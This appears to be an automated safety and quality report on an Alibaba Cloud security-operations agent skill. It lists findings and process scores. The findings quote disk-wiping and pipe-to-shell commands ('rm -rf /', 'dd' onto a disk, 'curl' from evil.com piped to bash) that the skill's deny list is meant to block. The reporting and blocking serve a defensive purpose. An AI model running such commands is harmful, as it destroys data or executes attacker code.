CF alibabacloud-sas-openclaw-security
Perform security operations on OpenClaw environments by calling Alibaba Cloud Security Center (SAS) and ECS APIs via the aliyun CLI. Supports asset queries, vulnerability detection, baseline checks, alert analysis, daily security report generation, and Cloud Assistant command execution. Use this skill when users need to query OpenClaw security status, handle security alerts, check vulnerability risks, execute emergency commands, or generate security reports.
As a process F 55/100 · Will not run — References files that are not bundled: references/api_reference.md
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- The text references files that are not there: add them or drop the references.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 9
-
high Dangerous commands
cmd-destructive-fsscripts/run_cloud_assistant_command.py:163Destructive filesystem command (wipes root/home/drive) (code comment)# 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
comment
Medium and low: 8
-
medium Dangerous commands
cmd-destructive-fs-scopedscripts/run_cloud_assistant_command.py:172Destructive command on a partition / current directory (normal in admin docs; verify the target) (code comment)# 典型形式：mkfs.ext4 /dev/vda / mkfs -t xfs /dev/sda
comment -
medium Dangerous commands
cmd-destructive-fs-scopedscripts/run_cloud_assistant_command.py:175Destructive command on a partition / current directory (normal in admin docs; verify the target) (string literal in code, not executed)"example": "mkfs.ext4 /dev/vda",
code literal -
medium Dangerous commands
cmd-destructive-fs-scopedscripts/run_cloud_assistant_command.py:179Destructive command on a partition / current directory (normal in admin docs; verify the target) (code comment)# dd if=/dev/zero of=/dev/vda 会用零字节覆盖整块磁盘，数据不可恢复。
comment -
medium Dangerous commands
cmd-destructive-fs-scopedscripts/run_cloud_assistant_command.py:183Destructive command on a partition / current directory (normal in admin docs; verify the target) (string literal in code, not executed)"example": "dd if=/dev/zero of=/dev/vda",
code literal -
low Dangerous commands
cmd-pipe-to-shellscripts/run_cloud_assistant_command.py:228Downloads and executes remote code from an unrecognised host (pipe to shell) (code comment; security demo / example)# 典型形式：curl http://evil.com/x.sh | bash
commentdemo -
low Dangerous commands
cmd-pipe-to-shellscripts/run_cloud_assistant_command.py:230Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; string literal in code, not executed; security demo / example)"reason": "禁止将远程脚本直接 pipe 给 bash/sh 执行（curl|wget ... | bash），防止下载并执行恶意脚本",
detectorcode literaldemo -
low Dangerous commands
cmd-pipe-to-shellscripts/run_cloud_assistant_command.py:231Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed; security demo / example)"example": "curl http://evil.com/malware.sh | bash",
code literaldemo
A further 1 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 21. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
missing-refreference to a missing file: references/api_reference.md
Process rating: all ten parameters 55/100
- 0Tools and files. 1 referenced file(s) missing: references/api_reference.md
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 7 mutating operations with no state check
- 60Result and completion. Output format stated, no completion criterion
- 65Failures and branches. 3 branches
- 70Inputs and preconditions. Inputs and preconditions are listed
- 100Steps. 15 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 2190 tokens
- medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- -34 of 16 scripts are never mentioned in SKILL.md
- +1No license
- +2Single-language instructions
- +3Description length 462: enough signal without eating the budget
- +4Structure: 23 headings
- +3Step-by-step instructions: 15 items
- +3Output format is stated explicitly
- +4Has examples (12 code blocks)
- +4Reference files are cited in the instructions (3 of 3)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 82.